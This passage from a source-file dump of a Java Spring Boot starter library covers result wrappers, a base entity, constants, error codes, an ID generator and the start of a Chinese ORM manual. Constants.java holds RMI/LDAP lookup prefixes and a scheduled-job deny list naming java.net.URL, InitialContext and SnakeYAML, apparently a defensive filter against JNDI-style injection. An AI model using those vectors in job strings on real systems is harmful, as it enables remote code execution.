返回内容\n     * @param data 数据对象\n     * @return 错误消息\n     */\n    public static AjaxResult error(String msg, Object data)\n    {\n        return new AjaxResult(HttpStatus.ERROR, msg, data);\n    }\n\n    /**\n     * 返回错误消息\n     *\n     * @param code 状态码\n     * @param msg 返回内容\n     * @return 错误消息\n     */\n    public static AjaxResult error(int code, String msg)\n    {\n        return new AjaxResult(code, msg, null);\n    }\n\n    /**\n     * 方便链式调用\n     *\n     * @param key 键\n     * @param value 值\n     * @return 数据对象\n     */\n    @Override\n    public AjaxResult put(String key, Object value)\n    {\n        super.put(key, value);\n        return this;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/base/BaseEntity.java",
    "content": "package io.github.wujun728.common.base;\n\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\nimport com.fasterxml.jackson.annotation.JsonFormat;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonInclude;\n\n/**\n * Entity基类\n *\n * @author ruoyi\n */\npublic class BaseEntity implements Serializable\n{\n    private static final long serialVersionUID = 1L;\n\n    /** 搜索值 */\n    @JsonIgnore\n    private String searchValue;\n\n    /** 创建者 */\n    private String createBy;\n\n    /** 创建时间 */\n    @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\")\n    private Date createTime;\n\n    /** 更新者 */\n    private String updateBy;\n\n    /** 更新时间 */\n    @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\")\n    private Date updateTime;\n\n    /** 备注 */\n    private String remark;\n\n    /** 请求参数 */\n    @JsonInclude(JsonInclude.Include.NON_EMPTY)\n    private Map<String, Object> params;\n\n    public String getSearchValue()\n    {\n        return searchValue;\n    }\n\n    public void setSearchValue(String searchValue)\n    {\n        this.searchValue = searchValue;\n    }\n\n    public String getCreateBy()\n    {\n        return createBy;\n    }\n\n    public void setCreateBy(String createBy)\n    {\n        this.createBy = createBy;\n    }\n\n    public Date getCreateTime()\n    {\n        return createTime;\n    }\n\n    public void setCreateTime(Date createTime)\n    {\n        this.createTime = createTime;\n    }\n\n    public String getUpdateBy()\n    {\n        return updateBy;\n    }\n\n    public void setUpdateBy(String updateBy)\n    {\n        this.updateBy = updateBy;\n    }\n\n    public Date getUpdateTime()\n    {\n        return updateTime;\n    }\n\n    public void setUpdateTime(Date updateTime)\n    {\n        this.updateTime = updateTime;\n    }\n\n    public String getRemark()\n    {\n        return remark;\n    }\n\n    public void setRemark(String remark)\n    {\n        this.remark = remark;\n    }\n\n    public Map<String, Object> getParams()\n    {\n        if (params == null)\n        {\n            params = new HashMap<>();\n        }\n        return params;\n    }\n\n    public void setParams(Map<String, Object> params)\n    {\n        this.params = params;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/base/BaseFlowEntity.java",
    "content": "package io.github.wujun728.common.base;\n\nimport java.util.List;\n\nimport com.alibaba.fastjson2.annotation.JSONField;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport lombok.Data;\n\n/**\n * \n */\n@Data\npublic class BaseFlowEntity {\n\t// -------------------------------------分页信息----------------------------------------------\n    @JSONField(serialize = false)\n    @TableField(exist = false)\n    private int page = 1;\n\n    @JSONField(serialize = false)\n    @TableField(exist = false)\n    private int limit = 10;\n    \n    @JSONField(serialize = false)\n    @TableField(exist = false)\n    private String keyword;\n\n    // -------------------------------------数据权限----------------------------------------------\n    /**\n     * 数据权限：用户id\n     */\n    @TableField(exist = false)\n    private List<String> createIds;\n    // -------------------------------------流程信息---------------------------------------------- flow_test1\n    /**\n     * 当前流程实例id\n     */\n    private String orderId;\n    /**\n     * 当前流程所处任务节点名称\n     */\n    @TableField(exist = false)\n    private String taskName;\n\n    /**\n     * 第一个任务id，用于撤回流程\n     */\n    @TableField(exist = false)\n    private String createTaskId;\n    /**\n     * 当前流程所处任务操作人名称\n     */\n    @TableField(exist = false)\n    private String taskOperatorName;\n    /**\n     * 当前流程所处任务操作人\n     */\n    @TableField(exist = false)\n    private String taskOperatorId;\n    /**\n     * 流程实例状态（0：结束；1：活动）  --工作流逻辑状态，这个是实时到工作流里面去查询的\n     */\n    @TableField(exist = false)\n    private Integer orderState;\n    \n\t/**\n\t * 流程实例状态（0：结束；1：活动） --数据库里面的流程状态，主要是标记已完成的工作流\n\t */\n\t@TableField(value = \"order_status\")\n\tprivate Integer orderStatus;\n\t\n\t@TableField(exist = false)\n\tprivate Integer isOwner;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/base/Result.java",
    "content": "package io.github.wujun728.common.base;\n\nimport io.github.wujun728.common.exception.code.RespCodeMsg;\n\nimport java.util.HashMap;\n\n/**\n * 返回对象\n *\n * @author wujun\n */\npublic class Result extends HashMap<String, Object>\n{\n    private static final long serialVersionUID = 1L;\n\n    /** 状态码 */\n    public static final String CODE_TAG = \"code\";\n\n    /** 返回内容 */\n    public static final String MSG_TAG = \"msg\";\n\n    /** 数据对象 */\n    public static final String DATA_TAG = \"data\";\n\n    private Boolean success = true;\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象，使其表示一个空消息。\n     */\n    public Result()\n    {\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     */\n    public Result(int code, String msg)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @param data 数据对象\n     */\n    public Result(int code, String msg, Object data)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n        super.put(DATA_TAG, data);\n    }\n\n    public static Result getResult(int i, String s) {\n        return Result.error(i,s);\n    }\n\n    public static Result getResult(RespCodeMsg systemRedisBusy) {\n        return Result.error(systemRedisBusy.getCode(),systemRedisBusy.getMsg());\n    }\n\n    /**\n     * 方便链式调用\n     *\n     * @param key\n     * @param value\n     * @return\n     */\n    @Override\n    public Result put(String key, Object value)\n    {\n        super.put(key, value);\n        return this;\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @return 成功消息\n     */\n    public static Result success()\n    {\n        return Result.success(\"success\");\n    }\n    public static Result ok()\n    {\n        return Result.success(\"success\");\n    }\n\n    /**\n     * 返回成功数据\n     * \n     * @return 成功消息\n     */\n    public static Result ok(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n    public static Result success(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 成功消息\n     */\n    public static Result success(String msg, Object data)\n    {\n        return new Result(0, msg, data);\n    }\n    public static Result success(int code, String msg, Object data)\n    {\n        return new Result(code, msg, data);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @return\n     */\n    public static Result fail()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n    public static Result error()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result fail(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n    public static Result error(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 警告消息\n     */\n    public static Result error(String msg, Object data)\n    {\n        return new Result(500, msg, data).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result error(int code, String msg)\n    {\n        return new Result(code, msg, null).setSuccess(false);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/constant/Constants.java",
    "content": "package io.github.wujun728.common.constant;\n\n/**\n * 通用常量信息\n *\n * @author ruoyi\n */\npublic class Constants\n{\n    /**\n     * UTF-8 字符集\n     */\n    public static final String UTF8 = \"UTF-8\";\n\n    /**\n     * GBK 字符集\n     */\n    public static final String GBK = \"GBK\";\n\n    /**\n     * www主域\n     */\n    public static final String WWW = \"www.\";\n\n    /**\n     * http请求\n     */\n    public static final String HTTP = \"http://\";\n\n    /**\n     * https请求\n     */\n    public static final String HTTPS = \"https://\";\n\n    /**\n     * 通用成功标识\n     */\n    public static final String SUCCESS = \"0\";\n\n    /**\n     * 通用失败标识\n     */\n    public static final String FAIL = \"1\";\n\n    /**\n     * 登录成功\n     */\n    public static final String LOGIN_SUCCESS = \"Success\";\n\n    /**\n     * 注销\n     */\n    public static final String LOGOUT = \"Logout\";\n\n    /**\n     * 注册\n     */\n    public static final String REGISTER = \"Register\";\n\n    /**\n     * 登录失败\n     */\n    public static final String LOGIN_FAIL = \"Error\";\n\n    /**\n     * 验证码有效期（分钟）\n     */\n    public static final Integer CAPTCHA_EXPIRATION = 10;\n\n    /**\n     * 令牌\n     */\n    public static final String TOKEN = \"token\";\n\n    /**\n     * 令牌前缀\n     */\n    public static final String TOKEN_PREFIX = \"Bearer \";\n\n    /**\n     * 令牌前缀\n     */\n    public static final String LOGIN_USER_KEY = \"login_user_key\";\n\n    /**\n     * 用户ID\n     */\n    public static final String JWT_USERID = \"userid\";\n\n\n    /**\n     * 用户头像\n     */\n    public static final String JWT_AVATAR = \"avatar\";\n\n    /**\n     * 创建时间\n     */\n    public static final String JWT_CREATED = \"created\";\n\n    /**\n     * 用户权限\n     */\n    public static final String JWT_AUTHORITIES = \"authorities\";\n\n    /**\n     * 资源映射路径 前缀\n     */\n    public static final String RESOURCE_PREFIX = \"/profile\";\n\n    /**\n     * RMI 远程方法调用\n     */\n    public static final String LOOKUP_RMI = \"rmi:\";\n\n    /**\n     * LDAP 远程方法调用\n     */\n    public static final String LOOKUP_LDAP = \"ldap:\";\n\n    /**\n     * LDAPS 远程方法调用\n     */\n    public static final String LOOKUP_LDAPS = \"ldaps:\";\n\n    /**\n     * 定时任务白名单配置（仅允许访问的包名，如其他需要可以自行添加）\n     */\n    public static final String[] JOB_WHITELIST_STR = { \"com.hp\" };\n\n    /**\n     * 定时任务违规的字符\n     */\n    public static final String[] JOB_ERROR_STR = { \"java.net.URL\", \"javax.naming.InitialContext\", \"org.yaml.snakeyaml\",\n            \"org.springframework\", \"org.apache\", \"com.hp.common.utils.file\" };\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/constant/GenConstants.java",
    "content": "package io.github.wujun728.common.constant;\n\n/**\n * 代码生成通用常量\n *\n * @author ruoyi\n */\npublic class GenConstants\n{\n    /** 单表（增删改查） */\n    public static final String TPL_CRUD = \"crud\";\n\n    /** 树表（增删改查） */\n    public static final String TPL_TREE = \"tree\";\n\n    /** 主子表（增删改查） */\n    public static final String TPL_SUB = \"sub\";\n\n    /** 树编码字段 */\n    public static final String TREE_CODE = \"treeCode\";\n\n    /** 树父编码字段 */\n    public static final String TREE_PARENT_CODE = \"treeParentCode\";\n\n    /** 树名称字段 */\n    public static final String TREE_NAME = \"treeName\";\n\n    /** 上级菜单ID字段 */\n    public static final String PARENT_MENU_ID = \"parentMenuId\";\n\n    /** 上级菜单名称字段 */\n    public static final String PARENT_MENU_NAME = \"parentMenuName\";\n\n    /** 数据库字符串类型 */\n    public static final String[] COLUMNTYPE_STR = { \"char\", \"varchar\", \"nvarchar\", \"varchar2\" };\n\n    /** 数据库文本类型 */\n    public static final String[] COLUMNTYPE_TEXT = { \"tinytext\", \"text\", \"mediumtext\", \"longtext\" };\n\n    /** 数据库时间类型 */\n    public static final String[] COLUMNTYPE_TIME = { \"datetime\", \"time\", \"date\", \"timestamp\" };\n\n    /** 数据库数字类型 */\n    public static final String[] COLUMNTYPE_NUMBER = { \"tinyint\", \"smallint\", \"mediumint\", \"int\", \"number\", \"integer\",\n            \"bit\", \"bigint\", \"float\", \"double\", \"decimal\" };\n\n    /** 页面不需要编辑字段 */\n    public static final String[] COLUMNNAME_NOT_EDIT = { \"id\", \"create_by\", \"create_time\", \"del_flag\" };\n\n    /** 页面不需要显示的列表字段 */\n    public static final String[] COLUMNNAME_NOT_LIST = { \"id\", \"create_by\", \"create_time\", \"del_flag\", \"update_by\",\n            \"update_time\" };\n\n    /** 页面不需要查询字段 */\n    public static final String[] COLUMNNAME_NOT_QUERY = { \"id\", \"create_by\", \"create_time\", \"del_flag\", \"update_by\",\n            \"update_time\", \"remark\" };\n\n    /** Entity基类字段 */\n    public static final String[] BASE_ENTITY = { \"createBy\", \"createTime\", \"updateBy\", \"updateTime\", \"remark\" };\n\n    /** Tree基类字段 */\n    public static final String[] TREE_ENTITY = { \"parentName\", \"parentId\", \"orderNum\", \"ancestors\", \"children\" };\n\n    /** 文本框 */\n    public static final String HTML_INPUT = \"input\";\n\n    /** 文本域 */\n    public static final String HTML_TEXTAREA = \"textarea\";\n\n    /** 下拉框 */\n    public static final String HTML_SELECT = \"select\";\n\n    /** 单选框 */\n    public static final String HTML_RADIO = \"radio\";\n\n    /** 复选框 */\n    public static final String HTML_CHECKBOX = \"checkbox\";\n\n    /** 日期控件 */\n    public static final String HTML_DATETIME = \"datetime\";\n\n    /** 图片上传控件 */\n    public static final String HTML_IMAGE_UPLOAD = \"imageUpload\";\n\n    /** 文件上传控件 */\n    public static final String HTML_FILE_UPLOAD = \"fileUpload\";\n\n    /** 富文本控件 */\n    public static final String HTML_EDITOR = \"editor\";\n\n    /** 字符串类型 */\n    public static final String TYPE_STRING = \"String\";\n\n    /** 整型 */\n    public static final String TYPE_INTEGER = \"Integer\";\n\n    /** 长整型 */\n    public static final String TYPE_LONG = \"Long\";\n\n    /** 浮点型 */\n    public static final String TYPE_DOUBLE = \"Double\";\n\n    /** 高精度计算类型 */\n    public static final String TYPE_BIGDECIMAL = \"BigDecimal\";\n\n    /** 时间类型 */\n    public static final String TYPE_DATE = \"Date\";\n\n    /** 模糊查询 */\n    public static final String QUERY_LIKE = \"LIKE\";\n\n    /** 相等查询 */\n    public static final String QUERY_EQ = \"EQ\";\n\n    /** 需要 */\n    public static final String REQUIRE = \"1\";\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/constant/HttpStatus.java",
    "content": "package io.github.wujun728.common.constant;\n\n/**\n * 返回状态码\n *\n * @author ruoyi\n */\npublic class HttpStatus\n{\n    /**\n     * 操作成功\n     */\n    public static final int SUCCESS = 200;\n\n    /**\n     * 对象创建成功\n     */\n    public static final int CREATED = 201;\n\n    /**\n     * 请求已经被接受\n     */\n    public static final int ACCEPTED = 202;\n\n    /**\n     * 操作已经执行成功，但是没有返回数据\n     */\n    public static final int NO_CONTENT = 204;\n\n    /**\n     * 资源已被移除\n     */\n    public static final int MOVED_PERM = 301;\n\n    /**\n     * 重定向\n     */\n    public static final int SEE_OTHER = 303;\n\n    /**\n     * 资源没有被修改\n     */\n    public static final int NOT_MODIFIED = 304;\n\n    /**\n     * 参数列表错误（缺少，格式不匹配）\n     */\n    public static final int BAD_REQUEST = 400;\n\n    /**\n     * 未授权\n     */\n    public static final int UNAUTHORIZED = 401;\n\n    /**\n     * 访问受限，授权过期\n     */\n    public static final int FORBIDDEN = 403;\n\n    /**\n     * 资源，服务未找到\n     */\n    public static final int NOT_FOUND = 404;\n\n    /**\n     * 不允许的http方法\n     */\n    public static final int BAD_METHOD = 405;\n\n    /**\n     * 资源冲突，或者资源被锁\n     */\n    public static final int CONFLICT = 409;\n\n    /**\n     * 不支持的数据，媒体类型\n     */\n    public static final int UNSUPPORTED_TYPE = 415;\n\n    /**\n     * 系统内部错误\n     */\n    public static final int ERROR = 500;\n\n    /**\n     * 接口未实现\n     */\n    public static final int NOT_IMPLEMENTED = 501;\n\n    /**\n     * 系统警告消息\n     */\n    public static final int WARN = 601;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/exception/BusinessException.java",
    "content": "package io.github.wujun728.common.exception;\n\n\nimport io.github.wujun728.common.exception.code.RespCodeMsg;\nimport io.github.wujun728.common.exception.code.IRespCodeMsg;\n\n/**\n * BusinessException\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic class BusinessException extends RuntimeException {\n\t\n\tprivate static final long serialVersionUID = 6610083281801529147L;\n\n    /**\n     * 异常编号\n     */\n    private final int messageCode;\n\n    /**\n     * 对messageCode 异常信息进行补充说明\n     */\n    private final String detailMessage;\n\n    public BusinessException(int messageCode, String message) {\n        super(message);\n        this.messageCode = messageCode;\n        this.detailMessage = message;\n    }\n\n    public BusinessException(String message) {\n        super(message);\n        this.messageCode = RespCodeMsg.OPERATION_ERRO.getCode();\n        this.detailMessage = message;\n    }\n\n    /**\n     * 构造函数\n     *\n     * @param code 异常码\n     */\n    public BusinessException(IRespCodeMsg code) {\n        this(code.getCode(), code.getMsg());\n    }\n\n    public int getMessageCode() {\n        return messageCode;\n    }\n\n    public String getDetailMessage() {\n        return detailMessage;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/exception/code/IRespCodeMsg.java",
    "content": "package io.github.wujun728.common.exception.code;\n\n/**\n * ResponseCodeInterface\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface IRespCodeMsg {\n    /**\n     * 获取code\n     *\n     * @return code\n     */\n    int getCode();\n\n    /**\n     * 获取信息\n     *\n     * @return msg\n     */\n    String getMsg();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/exception/code/RespCodeMsg.java",
    "content": "package io.github.wujun728.common.exception.code;\n\n\n/**\n * 错误码\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic enum RespCodeMsg implements IRespCodeMsg {\n    /**\n     * 错误码\n     */\n    SUCCESS(0, \"操作成功\"),\n    SYSTEM_BUSY(500001, \"系统繁忙，请稍候再试!\"),\n    OPERATION_ERRO(500002, \"操作失败\"),\n    SYSTEM_REDIS_BUSY(500003, \"REDIS服务器请求超时(超7S)，请稍候再试!\"),\n\n    TOKEN_ERROR(401001, \"登录凭证已过期，请重新登录\"),\n    DATA_ERROR(401003, \"传入数据异常\"),\n    NOT_ACCOUNT(401004, \"该用户不存在,请先注册\"),\n    USER_LOCK(401005, \"该用户已被锁定，请联系运营人员\"),\n    PASSWORD_ERROR(401006, \"用户名或密码错误\"),\n    METHODARGUMENTNOTVALIDEXCEPTION(401007, \"方法参数校验异常\"),\n    UNAUTHORIZED_ERROR(401008, \"权鉴校验不通过\"),\n    ROLE_PERMISSION_RELATION(401009, \"该菜单权限存在子集关联，不允许删除\"),\n    OLD_PASSWORD_ERROR(401010, \"旧密码不正确\"),\n    NOT_PERMISSION_DELETED_DEPT(401011, \"该组织机构下还关联着用户，不允许删除\"),\n    OPERATION_MENU_PERMISSION_CATALOG_ERROR(401012, \"操作后的菜单类型是目录，所属菜单必须为默认顶级菜单或者目录\"),\n    OPERATION_MENU_PERMISSION_MENU_ERROR(401013, \"操作后的菜单类型是菜单，所属菜单必须为目录类型\"),\n    OPERATION_MENU_PERMISSION_BTN_ERROR(401013, \"操作后的菜单类型是按钮，所属菜单必须为菜单类型\"),\n    OPERATION_MENU_PERMISSION_URL_NOT_NULL(401015, \"菜单权限的url不能为空\"),\n    OPERATION_MENU_PERMISSION_URL_PERMS_NULL(401016, \"菜单权限的标识符不能为空\"),\n    \n    ;\n\n    /**\n     * 错误码\n     */\n    private final int code;\n    /**\n     * 错误消息\n     */\n    private final String msg;\n\n    RespCodeMsg(int code, String msg) {\n        this.code = code;\n        this.msg = msg;\n    }\n\n    @Override\n    public int getCode() {\n        return code;\n    }\n\n    @Override\n    public String getMsg() {\n        return msg;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/model/ApiConfig.java",
    "content": "//package io.github.wujun728.common.model;\n//\n//import lombok.Data;\n//\n//import java.util.List;\n//\n//@Data\n//public class ApiConfig {\n//\n//    private Integer id;\n//    private Integer pid;\n//    private String path;\n//    private String name;\n//    private String method;\n//    private String params;\n//    private String beanName;\n////    private String className;\n//    private String datasourceId;\n//    private String scriptType;\n////    private String BeanType;\n//    private String scriptContent;\n////    private String groovyContent;\n//    private String status;\n//    private Integer sort;\n//    private String extendInfo;\n//    private Integer openTrans;\n//    private String resutltParams;\n//    private String creator;\n//    private String createdTime;\n//    private String updateTime;\n//    private String lastUpdate;\n//\n//    List<ApiSql> sqlList;\n//    String cachePlugin;\n//    String contentType;\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/model/ApiDataSource.java",
    "content": "//package io.github.wujun728.common.model;\n//\n//import lombok.Data;\n//\n//@Data\n//public class ApiDataSource {\n//\n//    String id;\n//    String url;\n//    String username;\n//    String password;\n//    String driver;\n//    String type;\n//\n//}"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/model/ApiSql.java",
    "content": "//package io.github.wujun728.common.model;\n//\n//import com.alibaba.fastjson2.annotation.JSONField;\n//import lombok.Data;\n//\n//@Data\n//public class ApiSql {\n//\n//    String id;\n//    String group;\n//    String path;\n//    String text;\n//    String type;\n//    @JSONField(name = \"datasourceId\")\n//    String datasourceId;\n//    String before;\n//    String after;\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/run/DbCommandLineRunner.java",
    "content": "//package io.github.wujun728.common.run;\n//\n//import org.springframework.boot.CommandLineRunner;\n//import org.springframework.context.ApplicationContextAware;\n//import org.springframework.stereotype.Component;\n//\n//@Component\n//public class DbCommandLineRunner implements CommandLineRunner {\n//\n//    @Override\n//    public void run(String... args) throws Exception {\n//        System.out.println(\"Custom CommandLineRunner :  MyCommandLineRunner.run\");\n//\n//    }\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/java/io/github/wujun728/common/utils/IdGenerator15.java",
    "content": "package io.github.wujun728.common.utils;\n\nimport java.util.Date;\nimport java.util.UUID;\n\n/**\n * compressed id generator, result id not great than 53bits before 2318-06-04.\n */\npublic class IdGenerator15 {\n\n    public static void main(String[] args) {\n        System.out.println(IdGenerator15.generateId());\n        System.out.println(IdGenerator15.generateId());\n        System.out.println(IdGenerator15.generateId());\n    }\n\n    private static IdGenerator15 instance = new IdGenerator15(0);\n\n    public static IdGenerator15 initDefaultInstance(int machineId) {\n        instance = new IdGenerator15(machineId);\n        return instance;\n    }\n\n    public static IdGenerator15 getInstance() {\n        return instance;\n    }\n\n    public static long generateId() {\n        return instance.nextId();\n    }\n    public static String generateIdStr() {\n        return String.valueOf(instance.nextId());\n    }\n\n    // total bits=53(max 2^53-1：9007199254740992-1)\n\n    // private final static long TIME_BIT = 40; // max: 2318-06-04\n    private final static long MACHINE_BIT = 5; // max 31\n    private final static long SEQUENCE_BIT = 8; // 256/10ms\n\n    /**\n     * mask/max value\n     */\n    private final static long MAX_MACHINE_NUM = -1L ^ (-1L << MACHINE_BIT);\n    private final static long MAX_SEQUENCE = -1L ^ (-1L << SEQUENCE_BIT);\n\n    private final static long MACHINE_LEFT = SEQUENCE_BIT;\n    private final static long TIMESTMP_LEFT = MACHINE_BIT + SEQUENCE_BIT;\n\n    private long machineId;\n    private long sequence = 0L;\n    private long lastStmp = -1L;\n\n    private IdGenerator15(long machineId) {\n        if (machineId > MAX_MACHINE_NUM || machineId < 0) {\n            throw new IllegalArgumentException(\n                    \"machineId can't be greater than \" + MAX_MACHINE_NUM + \" or less than 0\");\n        }\n        this.machineId = machineId;\n    }\n\n    /**\n     * generate new ID\n     *\n     * @return\n     */\n    public synchronized long nextId() {\n        long currStmp = getTimestamp();\n        if (currStmp < lastStmp) {\n            throw new RuntimeException(\"Clock moved backwards.  Refusing to generate id\");\n        }\n\n        if (currStmp == lastStmp) {\n            sequence = (sequence + 1) & MAX_SEQUENCE;\n            if (sequence == 0L) {\n                currStmp = getNextTimestamp();\n            }\n        } else {\n            sequence = 0L;\n        }\n\n        lastStmp = currStmp;\n\n        return currStmp << TIMESTMP_LEFT //\n                | machineId << MACHINE_LEFT //\n                | sequence;\n    }\n\n    private long getNextTimestamp() {\n        long mill = getTimestamp();\n        while (mill <= lastStmp) {\n            mill = getTimestamp();\n        }\n        return mill;\n    }\n\n    private long getTimestamp() {\n        // per 10ms\n        return System.currentTimeMillis() / 10;// 10ms\n    }\n\n    public static Date parseIdTimestamp(long id) {\n        return new Date((id >>> TIMESTMP_LEFT) * 10);\n    }\n\n    public static String uuid() {\n        return UUID.randomUUID().toString().replaceAll(\"-\", \"\");\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-common-base/src/main/resources/META-INF/spring.factories.bk",
    "content": "# org.springframework.context.ApplicationContextInitializer=\\\n# io.github.wujun728.common.config.BannerInitializer\n\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.common.feign.fallback.UserServiceFallbackFactory,\\\nio.github.wujun728.common.lock.LockAspect,\\\nio.github.wujun728.groovy.util.SpringUtils"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/jun-db-activerecord.md",
    "content": "# jun-db-activerecord 操作手册\n\n> 基于 Spring JDBC 的轻量级 ORM 框架，参考 JFinal ActiveRecord 设计模式。\n> 版本：1.0.25 | Java：1.8+ | 协议：Apache 2.0\n\n---\n\n## 目录\n\n- [1. 概述](#1-概述)\n- [2. Maven 依赖](#2-maven-依赖)\n- [3. 初始化](#3-初始化)\n- [4. 四种操作模式](#4-四种操作模式)\n  - [4.1 SQL 模式](#41-sql-模式)\n  - [4.2 Record 模式](#42-record-模式)\n  - [4.3 Bean 模式](#43-bean-模式)\n  - [4.4 Model 模式](#44-model-模式)\n- [5. 分页查询](#5-分页查询)\n- [6. 事务支持](#6-事务支持)\n- [7. 多数据源](#7-多数据源)\n- [8. 数据库方言](#8-数据库方言)\n- [9. 注解支持](#9-注解支持)\n- [10. 工具类 RecordUtil](#10-工具类-recordutil)\n- [11. 核心类 API 速查表](#11-核心类-api-速查表)\n- [12. 线程安全与并发](#12-线程安全与并发)\n- [13. 单元测试覆盖](#13-单元测试覆盖)\n- [14. 常见问题](#14-常见问题)\n\n---\n\n## 1. 概述\n\n`jun-db-activerecord` 是一个基于 Spring JDBC (`JdbcTemplate`) 构建的轻量级 ORM 框架，提供四种数据操作模式：\n\n| 模式 | 入口类 | 适用场景 |\n|------|--------|---------|\n| **SQL 模式** | `Db` | 直接执行 SQL，返回 `Map`/基本类型 |\n| **Record 模式** | `Db` | Key-Value 风格的 CRUD，无需定义实体类 |\n| **Bean 模式** | `Db` | 操作 JPA/MyBatis-Plus 注解实体 |\n| **Model 模式** | `Model<M>` | ActiveRecord 模式，实体自带 CRUD 方法 |\n\n**核心架构**\n\n```\nDb (静态门面) → DbPro (数据库引擎) → Dialect (方言策略) → JdbcTemplate (Spring JDBC)\n                    ↑\n               Model<M> (ActiveRecord 基类)\n```\n\n**支持的数据库**：MySQL、Oracle、PostgreSQL、SQLite、H2\n\n---\n\n## 2. Maven 依赖\n\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-activerecord</artifactId>\n    <version>1.0.25</version>\n</dependency>\n```\n\n关键传递依赖：\n\n| 依赖 | 版本 | 用途 |\n|------|------|------|\n| spring-jdbc | 5.3.39 | JDBC 操作核心 |\n| druid | 1.2.24 | 数据源连接池 |\n| hutool-all | 5.8.25 | 工具类/元数据获取 |\n| fastjson2 | 2.0.37 | Bean/Map 序列化转换 |\n| mybatis-plus-annotation | 3.5.9 | `@TableName`/`@TableField` 注解 |\n\n---\n\n## 3. 初始化\n\n### 3.1 编程式初始化（推荐）\n\n```java\n// 方式一：传入 DataSource\nDataSource dataSource = ...; // DruidDataSource, HikariDataSource 等\nDb.init(dataSource);\n\n// 方式二：传入连接参数（内部创建 DruidDataSource）\nDb.init(\"main\", \"jdbc:mysql://localhost:3306/mydb\", \"root\", \"password\");\n```\n\n### 3.2 Spring Boot 自动初始化\n\n在 `application.yml` 中配置：\n\n```yaml\ndb:\n  main:\n    enable: true\n    url: jdbc:mysql://localhost:3306/mydb?useSSL=false&serverTimezone=Asia/Shanghai\n    username: root\n    password: password\n    driver: com.mysql.cj.jdbc.Driver  # 可省略，框架自动识别\n```\n\n`Db` 类标注了 `@Component`，Spring 容器启动后自动执行 `@PostConstruct` 初始化。\n\n### 3.3 初始化行为\n\n初始化过程自动完成：\n1. 创建 `JdbcTemplate` 实例（fetchSize=32）\n2. 创建 `TransactionTemplate` 实例\n3. **自动检测数据库方言**（通过 `connection.getMetaData().getDatabaseProductName()`）\n4. **自动注册所有表的主键信息**（通过 `hutool MetaUtil`）\n\n---\n\n## 4. 四种操作模式\n\n### 4.1 SQL 模式\n\n直接执行 SQL 语句，适合复杂查询和批量操作。\n\n#### 增删改\n\n```java\n// 无参数执行\nDb.execute(\"DELETE FROM user_info WHERE age < 18\");\n\n// 带参数执行（防 SQL 注入）\nDb.execute(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n    new Object[]{\"张三\", 25});\n\n// 更新\nDb.update(\"UPDATE user_info SET age = ? WHERE user_name = ?\", 30, \"张三\");\n\n// 插入并返回自增主键\nlong id = Db.insert(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n    new 